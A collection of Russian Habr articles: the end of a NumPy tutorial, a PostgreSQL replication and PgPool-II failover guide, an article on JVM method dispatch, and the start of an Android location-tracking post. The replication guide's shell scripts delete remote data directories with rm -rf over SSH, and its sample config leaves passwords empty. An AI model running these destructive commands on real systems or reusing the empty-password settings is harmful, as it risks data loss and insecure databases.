> [[[ 0 1 2 3]
> [ 4 5 6 7]
> [ 8 9 10 11]]
> [[12 13 14 15]
> [16 17 18 19]
> [20 21 22 23]]]`
Если массив слишком большой, чтобы его печатать, NumPy автоматически скрывает центральную часть массива и выводит только его уголки:
> `Copy Source | Copy HTML
> >>> print arange(10000)
> [ 0 1 2 ..., 9997 9998 9999]
> >>>
> >>> print arange(10000).reshape(100,100)
> [[ 0 1 2 ..., 97 98 99]
> [ 100 101 102 ..., 197 198 199]
> [ 200 201 202 ..., 297 298 299]
> ...,
> [9700 9701 9702 ..., 9797 9798 9799]
> [9800 9801 9802 ..., 9897 9898 9899]
> [9900 9901 9902 ..., 9997 9998 9999]]`
Если вам действительно нужно увидеть все, что происходит в большом массиве, выведя его полностью, используйте функцию установки печати `set_printoptions()`:
> `Copy Source | Copy HTML
> >>> set\_printoptions(threshold=nan)`
### Базовые операции
Арифметические операции над массивами выполняются *поэлементно*. Создается новый массив, который заполняется результатами действия оператора.
> `Copy Source | Copy HTML
> >>> a = **array**( [20,30,40,50] )
> >>> b = arange( 4 )
> >>> c = a-b
> >>> c
> **array**([20, 29, 38, 47])
> >>> b\*\*2
> **array**([ 0, 1, 4, 9])
> >>> 10\*sin(a)
> **array**([ 9.12945251, -9.88031624, 7.4511316 , -2.62374854])
> >>> a<35
> **array**([True, True, False, False], dtype=bool)`
В отличие от матричного подхода, оператор произведения \* в массивах NumPy работает также поэлементно. Матричное произведение может быть осуществлено либо функцией `dot()`, либо созданием объектов матриц, которое будет рассмотрено далее (во второй части пособия).
> `Copy Source | Copy HTML
> >>> A = **array**( [[1,1],
> ... [ 0,1]] )
> >>> B = **array**( [[2, 0],
> ... [3,4]] )
> >>> A\*B # поэлементное произведение
> **array**([[2, 0],
> [ 0, 4]])
> >>> dot(A,B) # матричное произведение
> **array**([[5, 4],
> [3, 4]])`
Некоторые операции делаются «на месте», без создания нового массива.
> `Copy Source | Copy HTML
> >>> a = ones((2,3), dtype=int)
> >>> b = **random**.**random**((2,3))
> >>> a \*= 3
> >>> a
> **array**([[3, 3, 3],
> [3, 3, 3]])
> >>> b += a
> >>> b
> **array**([[ 3.69092703, 3.8324276 , 3.0114541 ],
> [ 3.18679111, 3.3039349 , 3.37600289]])
> >>> a += b # b конвертируется к типу int
> >>> a
> **array**([[6, 6, 6],
> [6, 6, 6]])`
При работе с массивами разных типов, тип результирующего массива соответствует более общему или более точному типу.
> `Copy Source | Copy HTML
> >>> a = ones(3, dtype=int32)
> >>> b = linspace( 0,pi,3)
> >>> b.dtype.name
> 'float64'
> >>> c = a+b
> >>> c
> **array**([ 1. , 2.57079633, 4.14159265])
> >>> c.dtype.name
> 'float64'
> >>> d = exp(c\*1j)
> >>> d
> **array**([ 0.54030231+ 0.84147098j, - 0.84147098+ 0.54030231j,
> - 0.54030231- 0.84147098j])
> >>> d.dtype.name
> 'complex128'`
Многие унарные операции, такие как вычисление суммы всех элементов массива, представлены в виде методов класса `ndarray`.
> `Copy Source | Copy HTML
> >>> a = **random**.**random**((2,3))
> >>> a
> **array**([[ 0.6903007 , 0.39168346, 0.16524769],
> [ 0.48819875, 0.77188505, 0.94792155]])
> >>> a.**sum**()
> 3.4552372100521485
> >>> a.**min**()
> 0.16524768654743593
> >>> a.**max**()
> 0.9479215542670073`
По умолчанию, эти операции применяются к массиву, как если бы он был списком чисел, независимо от его формы. Однако, указав параметр `axis` можно применить операцию по указанной оси массива:
> `Copy Source | Copy HTML
> >>> b = arange(12).reshape(3,4)
> >>> b
> **array**([[ 0, 1, 2, 3],
> [ 4, 5, 6, 7],
> [ 8, 9, 10, 11]])
> >>>
> >>> b.**sum**(axis= 0) # сумма в каждом столбце
> **array**([12, 15, 18, 21])
> >>>
> >>> b.**min**(axis=1) # наименьшее число в каждой строке
> **array**([ 0, 4, 8])
> >>>
> >>> b.cumsum(axis=1) # накопительная сумма каждой строки
> **array**([[ 0, 1, 3, 6],
> [ 4, 9, 15, 22],
> [ 8, 17, 27, 38]])`
### Универсальные функции
NumPy обеспечивает работу с известными математическими функциями sin, cos, exp и так далее. Но в NumPy эти функции называются универсальными (`ufunc`). Причина присвоения такого имени кроется в том, что в NumPy эти функции работают с массивами также поэлементно, и на выходе получается массив значений.
> `Copy Source | Copy HTML
> >>> B = arange(3)
> >>> B
> **array**([ 0, 1, 2])
> >>> exp(B)
> **array**([ 1. , 2.71828183, 7.3890561 ])
> >>> sqrt(B)
> **array**([ 0. , 1. , 1.41421356])
> >>> C = **array**([2., -1., 4.])
> >>> add(B, C)
> **array**([ 2., 0., 6.])`
### Индексы, срезы, итерации
**Одномерные** массивы осуществляют операции индексирования, срезов и итераций очень схожим образом с обычными списками и другими последовательностями Python.
> `Copy Source | Copy HTML
> >>> a = arange(10)\*\*3
> >>> a
> **array**([ 0, 1, 8, 27, 64, 125, 216, 343, 512, 729])
> >>> a[2]
> 8
> >>> a[2:5]
> **array**([ 8, 27, 64])
> >>> a[:6:2] = -1000 # изменить элементы в a
> >>> a
> **array**([-1000, 1, -1000, 27. -1000, 125, 216, 343, 512, 729])
> >>> a[::-1] # перевернуть a
> **array**([ 729, 512, 343, 216, 125, -1000, 27, -1000, 1, -1000])
> >>> for i in a:
> ... print i\*\*(1/3.),
> ...
> nan 1. 0 nan 3. 0 nan 5.0 6.0 7.0 8.0 9. 0`
У **многомерных** массивов на каждую ось приходится один индекс. Индексы передаются в виде последовательности чисел, разделенных запятыми:
> `Copy Source | Copy HTML
> >>> def f(x,y):
> ... return 10\*x+y
> ...
> >>> b = fromfunction(f,(5,4),dtype=int)
> >>> b
> **array**([[ 0, 1, 2, 3],
> [10, 11, 12, 13],
> [20, 21, 22, 23],
> [30, 31, 32, 33],
> [40, 41, 42, 43]])
> >>> b[2,3]
> 23
> >>> b[:,1] # второй столбец массива b
> **array**([ 1, 11, 21, 31, 41])
> >>> b[1:3,:] # вторая и третья строки массива b
> **array**([[10, 11, 12, 13],
> [20, 21, 22, 23]])`
Когда индексов меньше, чем осей, отсутствующие индексы предполагаются дополненными с помощью срезов:
> `Copy Source | Copy HTML
> >>> b[-1] # последняя строка. Эквивалентно b[-1,:]
> **array**([40, 41, 42, 43])`
`b[i]` можно читать как `b[i, <столько символов ':', сколько нужно>]`. В NumPy это также может быть записано с помощью точек, как `b[i, ...]`.
Например, если `x` имеет ранг 5 (то есть у него 5 осей), тогда
* `x[1, 2, ...]` эквивалентно `x[1, 2, :, :, :]`,
* `x[... , 3]` то же самое, что `x[:, :, :, :, 3]` и
* `x[4, ... , 5, :]` это `x[4, :, :, 5, :]`.
> `Copy Source | Copy HTML
> >>> c = **array**( [ [[ 0, 1, 2], # 3d array
> ... [ 10, 12, 13]],
> ...
> ... [[100,101,102],
> ... [110,112,113]] ] )
> >>> c.shape
> (2, 2, 3)
> >>> c[1,...] # то же, что c[1,:,:] или c[1]
> **array**([[100, 101, 102],
> [110, 112, 113]])
> >>> c[...,2] # то же, что c[:,:,2]
> **array**([[ 2, 13],
> [102, 113]])`
Итерирование многомерных массивов начинается с первой оси:
> `Copy Source | Copy HTML
> >>> for row in b:
> ... print row
> ...
> [0 1 2 3]
> [10 11 12 13]
> [20 21 22 23]
> [30 31 32 33]
> [40 41 42 43]`
Однако, если нужно перебрать поэлементно весь массив, как если бы он был одномерным, для этого можно использовать атрибут `flat`:
> `Copy Source | Copy HTML
> >>> for element in b.flat:
> ... print element,
> ...
> 0 1 2 3 10 11 12 13 20 21 22 23 30 31 32 33 40 41 42 43`
Манипуляции с формой
====================
Как уже говорилось, у массива есть форма (`shape`), определяемая числом элементов вдоль каждой оси:
> `Copy Source | Copy HTML
> >>> a = floor(10\***random**.**random**((3,4)))
> >>> a
> **array**([[ 7., 5., 9., 3.],
> [ 7., 2., 7., 8.],
> [ 6., 8., 3., 2.]])
> >>> a.shape
> (3, 4)`
Форма массива может быть изменена с помощью различных команд:
> `Copy Source | Copy HTML
> >>> a.ravel() # делает массив плоским
> **array**([ 7., 5., 9., 3., 7., 2., 7., 8., 6., 8., 3., 2.])
> >>> a.shape = (6, 2)
> >>> a.transpose()
> **array**([[ 7., 9., 7., 7., 6., 3.],
> [ 5., 3., 2., 8., 8., 2.]])`
Порядок элементов в массиве в результате функции `ravel()` соответствует обычному «C-стилю», то есть, чем правее индекс, тем он «быстрее изменяется»: за элементом `a[0,0]` следует `a[0,1]`. Если одна форма массива была изменена на другую, массив переформировывается также в «C-стиле». В таком порядке NumPy обычно и создает массивы, так что для функции `ravel()` обычно не требуется копировать аргумент, но если массив был создан из срезов другого массива, копия может потребоваться. Функции `ravel()` и `reshape()` также могут работать (при использовании дополнительного аргумента) в FORTRAN-стиле, в котором быстрее изменяется более левый индекс.
Функция `reshape()` возвращает ее аргумент с измененной формой, в то время как метод `resize()` изменяет сам массив:
> `Copy Source | Copy HTML
> >>> a
> **array**([[ 7., 5.],
> [ 9., 3.],
> [ 7., 2.],
> [ 7., 8.],
> [ 6., 8.],
> [ 3., 2.]])
> >>> a.resize((2,6))
> >>> a
> **array**([[ 7., 5., 9., 3., 7., 2.],
> [ 7., 8., 6., 8., 3., 2.]])`
Если при операции такой перестройки один из аргументов задается как -1, то он автоматически рассчитывается в соответствии с остальными заданными:
> `Copy Source | Copy HTML
> >>> a.reshape(3,-1)
> **array**([[ 7., 5., 9., 3.],
> [ 7., 2., 7., 8.],
> [ 6., 8., 3., 2.]])`
### Объединение массивов
Несколько массивов могут быть объединены вместе вдоль разных осей:
> `Copy Source | Copy HTML
> >>> a = floor(10\***random**.**random**((2,2)))
> >>> a
> **array**([[ 1., 1.],
> [ 5., 8.]])
> >>> b = floor(10\***random**.**random**((2,2)))
> >>> b
> **array**([[ 3., 3.],
> [ 6., 0.]])
> >>> vstack((a,b))
> **array**([[ 1., 1.],
> [ 5., 8.],
> [ 3., 3.],
> [ 6., 0.]])
> >>> hstack((a,b))
> **array**([[ 1., 1., 3., 3.],
> [ 5., 8., 6., 0.]])`
Функция `column_stack()` объединяет одномерные массивы в качестве столбцов двумерного массива:
> `Copy Source | Copy HTML
> >>> column\_stack((a,b))
> **array**([[ 1., 1., 3., 3.],
> [ 5., 8., 6., 0.]])
> >>> a=**array**([4.,2.])
> >>> b=**array**([2.,8.])
> >>> a[:,newaxis] # Это дает нам 2D-ветор
> **array**([[ 4.],
> [ 2.]])
> >>> column\_stack((a[:,newaxis],b[:,newaxis]))
> **array**([[ 4., 2.],
> [ 2., 8.]])
> >>> vstack((a[:,newaxis],b[:,newaxis])) # Поведение vstack другое
> **array**([[ 4.],
> [ 2.],
> [ 2.],
> [ 8.]])`
Аналогично для строк имеется функция `row_stack()`. Для массивов с более, чем двумя осями, `hstack()` объединяет массивы по первым осям, `vstack()` — по последним, дополнительные аргументы позволяют задать число осей по которым должно произойти объединение.
В сложных случаях, могут быть полезны `r_[]` и `с_[]`, позволяющие создавать одномерные массивы, с помощью последовательностей чисел вдоль одной оси. В них также имеется возможность использовать ":" для задания диапазона литералов:
> `Copy Source | Copy HTML
> >>> r\_[1:4, 0,4]
> **array**([1, 2, 3, 0, 4])`
### Разделение одного массива на несколько более мелких
Используя `hsplit()` вы можете разбить массив вдоль горизонтальной оси, указав либо число возвращаемых массивов одинаковой формы, либо номера столбцов, после которых массив разрезается ножницами:
> `Copy Source | Copy HTML
> >>> a = floor(10\***random**.**random**((2,12)))
> >>> a
> **array**([[ 8., 8., 3., 9., 0., 4., 3., 0., 0., 6., 4., 4.],
> [ 0., 3., 2., 9., 6., 0., 4., 5., 7., 5., 1., 4.]])
> >>> hsplit(a,3) # Разбить на 3 массива
> [**array**([[ 8., 8., 3., 9.],
> [ 0., 3., 2., 9.]]), **array**([[ 0., 4., 3., 0.],
> [ 6., 0., 4., 5.]]), **array**([[ 0., 6., 4., 4.],
> [ 7., 5., 1., 4.]])]
> >>> hsplit(a,(3,4)) # Разрезать a после третьего и четвертого столбца
> [**array**([[ 8., 8., 3.],
> [ 0., 3., 2.]]), **array**([[ 9.],
> [ 9.]]), **array**([[ 0., 4., 3., 0., 0., 6., 4., 4.],
> [ 6., 0., 4., 5., 7., 5., 1., 4.]])]`
Функция `vsplit()` разбивает массив вдоль вертикальной оси, а `array_split()` позволяет указать оси, вдоль которых произойдет разбиение.
Копии и представления
=====================
При работе с массивами, их данные иногда необходимо копировать в другой массив, а иногда нет. Это часто является источником путаницы среди новичков. Возможно всего три случая:
### Вообще никаких копий
Простое присваивание не создает ни копии массива, ни копии его данных:
> `Copy Source | Copy HTML
> >>> a = arange(12)
> >>> b = a # никакого нового объекта создано не было
> >>> b is a # a и b это два имени для одного объекта ndarray
> True
> >>> b.shape = 3,4 # изменит форму a
> >>> a.shape
> (3, 4)`
Python передает изменяемые объекты как ссылки, поэтому вызовы функций также не создают копий:
> `Copy Source | Copy HTML
> >>> def f(x):
> ... print **id**(x)
> ...
> >>> **id**(a)
> 148293216
> >>> f(a)
> 148293216`
### Представление или поверхностная копия
Разные объекты массивов могут использовать одни и те же данные. Метод `view()` создает новый объект массива, являющийся представлением тех же данных.
> `Copy Source | Copy HTML
> >>> c = a.view()
> >>> c is a
> False
> >>> c.base is a # c это представление данных, принадлежащих a
> True
> >>> c.flags.owndata
> False
> >>>
> >>> c.shape = 2,6 # форма а не поменяется
> >>> a.shape
> (3, 4)
> >>> c[ 0,4] = 1234 # данные а изменятся
> >>> a
> **array**([[ 0, 1, 2, 3],
> [1234, 5, 6, 7],
> [ 8, 9, 10, 11]])`
Срез массива это представление:
> `Copy Source | Copy HTML
> >>> s = a[:,1:3]
> >>> s[:] = 10 # s[:] это представление s. Заметьте разницу между s=10 и s[:]=10
> >>> a
> **array**([[ 0, 10, 10, 3],
> [1234, 10, 10, 7],
> [ 8, 10, 10, 11]])`
### Глубокая копия
Метод `copy()` создает настоящую копию массива и его данных:
> `Copy Source | Copy HTML
> >>> d = a.**copy**() # создается новый объект массива с новыми данными
> >>> d is a
> False
> >>> d.base is a # d не имеет ничего общего с а
> False
> >>> d[ 0, 0] = 9999
> >>> a
> **array**([[ 0, 10, 10, 3],
> [1234, 10, 10, 7],
> [ 8, 10, 10, 11]])`
В заключение
============
Итак, в первой части мы рассмотрели самые важные базовые операции работы с массивами. В дополнение к этой части, я советую [хорошую шпаргалку](http://koldunov.net/?p=381). Во второй части мы поговорим о более специфических вещах: об индексировании с помощью массивов индексов или булевых величин, реализации операций линейной алгебры и классе `matrix` и разных полезных трюках. | https://habr.com/ru/post/121031/ | null | ru | null |
# PostgreSQL — Asynchronous Replication + Pooling + Failover
##### Вариант простой для понимания асинхронной master-slave репликации на базе Postgresql 9.1
Впервые встала задача единоличной реализации полноценной репликации и впервые был написан мини-мануал, который и хочу здесь представить.
Для системы репликации Мастер-Слейв использовалась комбинация
* PostgreSQL 9.1 (БД) +
* Bucardo 4.5 (репликатор) +
* PgPool-II (пулер и файловер)
###### **Bucardo**
Асинхронная Postgres replication system написанная на Perl5.
Удобна встраиваемостью в постгрес и легкой, отражаемой в бд, настройкой.
Создает свою БД, в которой прописываются реплицируемые сервера, базы, таблицы, заключаемые в листы (списки).
Используется тип связи Pushdelta (Trigger. One way master-slave).
Изменение структуры не поддерживает. Работает в обе стороны, т.е. в случае временного отключения мастера, при его восстановлении, он автоматически «догонит» слейв.
Примерный план установки bucardo на Мастере:
```
sudo aptitude install bucardo
# + install Perl mods (DBI, DBD::Pg, DBIx::Safe)
sudo bucardo_ctl install # connection settings
```
Далее вручную создать управляющую бд bucardo, наполнить ее из bucardo.schema (по умолчанию он прицеплен к 8.4 и в старших версиях осечка с автосозданием управляющей бд)
```
sudo bucardo_ctl add db bucardo_dbname name=master_dbname # Назначение БД-мастера
# + в бд ручками пароль в bucardo.db (дабы не возникало проблем)
sudo bucardo_ctl add db bucardo_dbname name=slave_dbname # Назначение БД-слейва
sudo bucardo_ctl add table tbl_name db=bucardo_dbname herd=source_name # Добавление таблиц мастера в список(herd)
sudo bucardo_ctl add sync sync_name type=pushdelta source=herd_name targetdb=slave_dbname # Назначение списка для репликации
sudo bucardo_ctl start # Запуск репликации
```
На слейве я его устанавливала, но не заполняла (т.к. слейв один и с него идти все равно некуда)
###### **PgPool-II**
Имеет широкие возможности, страдает нехваткой мануалов. Поддерживает параллельные запросы, балансировку нагрузки, распределение коннектов к БД по пулам, а так же является FailOver'ом, т.е. автоматическим переключателем с мастера на слейв и обратно в случаях проблем с соединениями.
На debian ставится из репозитория, от версии postgres не зависит.
```
sudo aptitude install pgpool2
```
Конфиги хранит в /etc/pgpool2/
* pgpool.conf — Основные настройки (о них чуть ниже)
* pcp.conf — Системное — можно не трогать
* pool\_hba.conf — Настройка доступов подключения. Можно юзать свой, можно — посгресовый. Лучше — постгресовый
Я использовала PgPool как пулер, распределитель нагрузки и, что самое главное, файловер.
Пример настройки /etc/pgpool2/pgpool.conf (частично) Для Мастера:
```
listen_addresses = '*'
port = 9999
socket_dir = '/var/run/postgresql'
pcp_port = 9898
pcp_socket_dir = '/var/run/postgresql'
backend_hostname0 = master_server
backend_port0 = 5432
backend_weight0 = 1
backend_data_directory0 = '/master_data'
backend_flag0 = 'ALLOW_TO_FAILOVER'
backend_hostname1 = slave_server
backend_port1 = 5432
backend_weight1 = 1
backend_data_directory1 = '/slave_data'
backend_flag1 = 'ALLOW_TO_FAILOVER'
connection_cache = on
replication_mode = off
load_balance_mode = on
master_slave_mode = on
master_slave_sub_mode = 'stream'
parallel_mode = on
pgpool2_hostname = ''
system_db_hostname = master_server
system_db_port = 5432
system_db_dbname = 'pgpool'
system_db_schema = 'pgpool_catalog'
system_db_user = 'pgpool'
system_db_password = ''
failover_command = '/etc/pgpool2/failover.sh %d %P %H %R'
recovery_user = 'postgres'
recovery_password = ''
recovery_1st_stage_command = '/etc/pgpool2/recovery_1st_stage.sh'
recovery_2nd_stage_command = ''
recovery_timeout = 90
client_idle_limit_in_recovery = 0
```
Так же в /etc/pgpool2/ создаются скрипты следующего содержания, указанные в конфиге:
''failover.sh'' — Собственно скрипт, отрабатывающий в случае падения мастера
```
#!/bin/bash -x
FALLING_NODE=$1 # %d
OLDPRIMARY_NODE=$2 # %P
NEW_PRIMARY=$3 # %H
PGDATA=$4 # %R
if [ $FALLING_NODE = $OLDPRIMARY_NODE ]; then
if [ $UID -eq 0 ]
then
su postgres -c "ssh -T postgres@$NEW_PRIMARY touch $PGDATA/trigger"
else
ssh -T postgres@$NEW_PRIMARY touch $PGDATA/trigger
fi
exit 0;
fi;
exit 0;
```
''recovery\_1st\_stage.sh'' — Скрипт с говорящим названием
```
#!/bin/bash -x
PGDATA=$1
REMOTE_HOST=$2
REMOTE_PGDATA=$3
PORT=5432
PGHOME=/home/yugo-n/pgsql-9.2.1
ARCH=$PGHOME/data/arch
rm -rf $ARCH/*
ssh -T postgres@$REMOTE_HOST "
LD_LIBRARY_PATH=$PGHOME/lib:LD_LIBRARH_PATH;
rm -rf $REMOTE_PGDATA
$PGHOME/bin/pg_basebackup -h $HOSTNAME -U r_user -D $REMOTE_PGDATA -x -c fast
rm $REMOTE_PGDATA/trigger"
ssh -T postgres@$REMOTE_HOST "rm -rf $ARCH/*"
ssh -T postgres@$REMOTE_HOST "mkdir -p $REMOTE_PGDATA/pg_xlog/archive_status"
ssh -T postgres@$REMOTE_HOST "
cd $REMOTE_PGDATA;
cp postgresql.conf postgresql.conf.bak;
sed -e 's/#*hot_standby = off/hot_standby = on/' postgresql.conf.bak > postgresql.conf;
rm -f postgresql.conf.bak;
cat > recovery.conf << EOT
standby_mode = 'on'
primary_conninfo = 'host="$HOSTNAME" port=$PORT user=r_user'
restore_command = 'scp $HOSTNAME:$ARCH/%f %p'
trigger_file = '$PGDATA/trigger'
EOT
"
```
**Важный момент!** Нужно, чтобы все файлы/папки используемые pgpool'ом были с owner postgres::postgres
Для Слейва все почти тоже самое, только с master\_slave\_mode = off и failover\_command = ''
Запускается PgPool простейшим консольным
```
sudo pgpool
```
Таким образом получаем Мастер-моноСлейв репликацию с распределением нагрузки и файловером.
Подключение идет всегда только к мастеру через порт pgPool'a (здесь — 9999).
При нормальной работе идет запись в мастер, бэкэндово реплицируется на слейв, а чтение производится и с того и с другого.
В случае отключения слейва, при возобновлении его работы все данные времени простоя автоматически дореплицируются.
В случае отключения мастера, без разрыва пользовательского соединения pgpool перенаправляет чтение и запись полностью на реплику, временно делая ее «мастером». При поднятии мастера, он догоняет все данные со слейва и происходит обратное переключение, опять же без разрыва пользовательского соединения.
Есть определенная проблема в том, что не удалось как то создать управление правами, чтобы при живом мастере на слейв были бы права только RO, а при его падении переключались на RW (а потом при восстановлении — обратно), но поскольку внешнее обращение идет только к адресу Мастера, то опасность остается только в шаловливых ручках разработчиков.
Надеюсь, статейка найдет применение у начинающих DBA.
И всем спасибо за внимание! | https://habr.com/ru/post/158731/ | null | ru | null |
# Как полиморфизм реализован внутри JVM
*Перевод данной статьи подготовлен специально для студентов курса [«Разработчик Java».](https://otus.pw/5HGh/)*
---
В моей предыдущей статье [Everything About Method Overloading vs Method Overriding](https://programmingmitra.blogspot.in/2017/05/everything-about-method-overloading-vs-method-overriding.html) (“Все о перегрузке и переопределении методов”) были рассмотрены правила и различия перегрузки и переопределения методов. В этой статье мы посмотрим, как обрабатывается перегрузка и переопределение методов внутри JVM.
Для примера возьмем классы из предыдущей статьи: родительский `Mammal` (млекопитающее) и дочерний `Human` (человек).
```
public class OverridingInternalExample {
private static class Mammal {
public void speak() { System.out.println("ohlllalalalalalaoaoaoa"); }
}
private static class Human extends Mammal {
@Override
public void speak() { System.out.println("Hello"); }
// Допустимая перегрузка speak()
public void speak(String language) {
if (language.equals("Hindi")) System.out.println("Namaste");
else System.out.println("Hello");
}
@Override
public String toString() { return "Human Class"; }
}
// Код ниже содержит вывод метода и байткод для вызова метода
public static void main(String[] args) {
Mammal anyMammal = new Mammal();
anyMammal.speak(); // Output - ohlllalalalalalaoaoaoa
// 10: invokevirtual #4 // Method org/programming/mitra/exercises/OverridingInternalExample$Mammal.speak:()V
Mammal humanMammal = new Human();
humanMammal.speak(); // Output - Hello
// 23: invokevirtual #4 // Method org/programming/mitra/exercises/OverridingInternalExample$Mammal.speak:()V
Human human = new Human();
human.speak(); // Output - Hello
// 36: invokevirtual #7 // Method org/programming/mitra/exercises/OverridingInternalExample$Human.speak:()V
human.speak("Hindi"); // Output - Namaste
// 42: invokevirtual #9 // Method org/programming/mitra/exercises/OverridingInternalExample$Human.speak:(Ljava/lang/String;)V
}
}
```
На вопрос о полиморфизме мы можем посмотреть с двух сторон: с “логической” и “физической”. Давайте сначала рассмотрим логическую сторону вопроса.
### Логическая точка зрения
С логической точки зрения, на этапе компиляции вызываемый метод рассматривается как относящийся к типу ссылки. Но во время выполнения будет вызываться метод объекта, на который указывает ссылка.
Например, в строке `humanMammal.speak();` компилятор думает, что будет вызван `Mammal.speak()`, так как `humanMammal` объявлен как `Mammal`. Но во время выполнения JVM будет знать, что в `humanMammal` содержится объект `Human` и фактически вызовет метод `Human.speak()`.
Это все довольно просто, пока мы остаемся на концептуальном уровне. Но как же JVM обрабатывает это все внутри? Как JVM вычисляет, какой метод должен быть вызван?
Также мы знаем, что перегруженные методы (overload) не называются полиморфными и резолвятся во время компиляции. Хотя иногда перегрузку методов называют **полиморфизмом времени компиляции или ранним/статическим связыванием**.
Переопределенные методы (override) резолвятся во время выполнения, так как компилятор не знает, есть ли переопределенные методы в объекте, который присваивается ссылке.
### Физическая точка зрения
В этом разделе мы попытаемся найти “физические” доказательства для всех вышеперечисленных утверждений. Для этого посмотрим на байткод, который мы можем получить, запустив `javap -verbose OverridingInternalExample`. Параметр `-verbose` позволит нам получить более наглядный байткод, соответствующий нашей java-программе.
Команда выше покажет две секции байткода.
**1. Пул констант**. Содержит почти все, что необходимо для выполнения программы. Например, ссылки на методы (`#Methodref`), классы (`#Class`), литералы строк (`#String`).
**2. Байткод программы.** Выполняемые инструкции байткода.
### Почему перегрузка методов называется статическим связыванием
В приведенном выше примере компилятор думает, что метод `humanMammal.speak()` будет вызван из класса `Mammal`, хотя во время выполнения он будет вызываться из объекта, ссылка на который содержится в `humanMammal` — это будет объект класса `Human`.
Посмотрев на наш код и результат `javap`, мы видим, что для вызова методов `humanMammal.speak()`, `human.speak()` и `human.speak("Hindi")` используется разный байткод, так как компилятор может различить их на основании ссылки на класс.
Таким образом, в случае перегрузки метода, компилятор способен идентифицировать инструкции байткода и адреса методов во время компиляции. Именно поэтому это называют **статическим связыванием или полиморфизмом времени компиляции.**
### Почему переопределение методов называется динамическим связыванием
Для вызова методов `anyMammal.speak()` и `humanMammal.speak()` байткод одинаковый, так как с точки зрения компилятора оба метода вызываются для класса `Mammal`:
```
invokevirtual #4 // Method org/programming/mitra/exercises/OverridingInternalExample$Mammal.speak:()V
```
Итак, теперь возникает вопрос, если у обоих вызовов одинаковый байткод, как JVM узнает, какой метод вызвать?
Ответ спрятан в самом байткоде и в инструкции `invokevirtual`. Согласно спецификации JVM *(прим. переводчика: [ссылка на JVM spec 2.11.8](https://docs.oracle.com/javase/specs/jvms/se12/html/jvms-2.html#jvms-2.11.8))*:
> Инструкция invokevirtual вызывает метод экземпляра через диспетчеризацию по (виртуальному) типу объекта. Это нормальная диспетчеризация методов в языке программирования Java.
JVM использует инструкцию `invokevirtual` для вызова в Java методов, эквивалентных виртуальным методам C++. В C++ для переопределения метода в другом классе, метод должен быть объявлен как виртуальный (virtual). Но в Java по умолчанию все методы виртуальные (кроме final и static методов), поэтому в дочернем классе мы можем переопределить любой метод.
Инструкция `invokevirtual` принимает указатель на метод, который нужно вызвать ( #4 — индекс в пуле констант).
```
invokevirtual #4 // Method org/programming/mitra/exercises/OverridingInternalExample$Mammal.speak:()V
```
Но ссылка #4 ссылается дальше на другой метод и Class.
```
#4 = Methodref #2.#27 // org/programming/mitra/exercises/OverridingInternalExample$Mammal.speak:()V
#2 = Class #25 // org/programming/mitra/exercises/OverridingInternalExample$Mammal
#25 = Utf8 org/programming/mitra/exercises/OverridingInternalExample$Mammal
#27 = NameAndType #35:#17 // speak:()V
#35 = Utf8 speak
#17 = Utf8 ()V
```
Все эти ссылки используются совместно для получения ссылки на метод и класс, в котором находится нужный метод. Это также упоминается в спецификации JVM (*прим. переводчика: [ссылка на JVM spec 2.7](https://docs.oracle.com/javase/specs/jvms/se12/html/jvms-2.html#jvms-2.7)*):
> Java Virtual Machine не требует какой-либо определённой внутренней структуры объектов.
> В некоторых реализациях Java Virtual Machine, выполненных компанией Oracle, ссылка на экземпляр класса представляет собой ссылку на обработчик, который сам по себе состоит из пары ссылок: одна указывает на таблицу методов объекта и указатель на объект Class, представляющий тип объекта, а другая на область данных в куче, содержащую данные объекта.
Это означает, что каждая ссылочная переменная содержит два скрытых указателя:
1. Указатель на таблицу, которая содержит методы объекта и указатель на объект `Class`, например, `[speak(), speak(String) Class object]`
2. Указатель на память в куче, выделенную для данных объекта, таких как значения полей объекта.
Но опять возникает вопрос: как с этим работает `invokevirtual`? К сожалению, никто не может ответить на этот вопрос, потому что все зависит от реализации JVM и варьируется от JVM к JVM.
Из приведенных выше рассуждений можно сделать вывод, что ссылка на объект косвенно содержит ссылку/указатель на таблицу, которая содержит все ссылки на методы этого объекта. Java позаимствовала эту концепцию из C ++. Эта таблица известна под различными именами, такими как [таблица виртуальных методов (VMT), таблица виртуальных функций (vftable), виртуальная таблица (vtable), таблица диспетчеризации](https://en.wikipedia.org/wiki/Virtual_method_table).
Мы не можем быть уверены в том, как vtable реализован в Java, потому что это зависит от конкретной JVM. Но мы можем ожидать, что стратегия будет примерно такая же, как и в C ++, где vtable — это структура, похожая на массив, которая содержит имена методов и их ссылки. Всякий раз, когда JVM пытается выполнить виртуальный метод, она запрашивает его адрес в vtable.
Для каждого класса существует только одна vtable, это означает, что таблица уникальна и одинакова для всех объектов класса, аналогично объекту Class. Объекты Class подробнее рассмотрены в статьях [Why an outer Java class can’t be static](https://programmingmitra.blogspot.in/2016/10/why-outer-java-class-cant-be-static.html) и [Why Java is Purely Object-Oriented Language Or Why Not](https://programmingmitra.blogspot.in/2016/06/why-java-is-purely-object-oriented-or-why-not.html).
Таким образом, существует только одна vtable для класса `Object`, которая содержит все 11 методов (если не учитывать `registerNatives`) и ссылки, соответствующие их реализации.
Когда JVM загружает класс Mammal в память, она создает для него объект `Class` и создает vtable, которая содержит все методы из vtable класса `Object` с такими же ссылками (поскольку `Mammal` не переопределяет методы из `Object`) и добавляет новую запись для метода `speak()`.
Потом наступает очередь класса `Human`, и JVM копирует все записи из vtable класса `Mammal` в vtable класса `Human` и добавляет новую запись для перегруженной версии `speak(String)`.
JVM знает, что класс `Human` переопределил два метода: `toString()` из `Object` и `speak()` из `Mammal`. Теперь для этих методов, вместо создания новых записей с обновленными ссылками, JVM изменит ссылки на уже существующие методы в том же индексе, в котором они присутствовали ранее, и сохранит те же имена методов.
Инструкция `invokevirtual` заставляет JVM обрабатывать значение в ссылке на метод # 4 не как адрес, а как имя метода, которое нужно искать в vtable для текущего объекта.
Я надеюсь, теперь стало более понятно то, как JVM использует пул констант и таблицу виртуальных методов для определения того, какой метод вызывать.
Код примера вы можете найти в репозитории [Github](https://github.com/njnareshjoshi/exercises/blob/master/src/org/programming/mitra/exercises/OverridingInternalExample.java). | https://habr.com/ru/post/467197/ | null | ru | null |
# Как реализовать отслеживание местоположения андроид устройства на своем сайте
Занимаюсь грузоперевозками на своей газели, и у меня родилась идея сделать функцию отслеживания своего местоположения для всех посетителей своего сайта. Это очень удобно для тех, кто следит за своим грузом или тех, кто ждет машину. У меня получилось. И в этом посте я расскажу вам как реализовать эту функцию, которая, кстати, обойдется совсем недорого. Статья предназначена для людей, которые почти не имеют опыта в сфере создания сайтов и программировании в целом.
Вам понадобится:
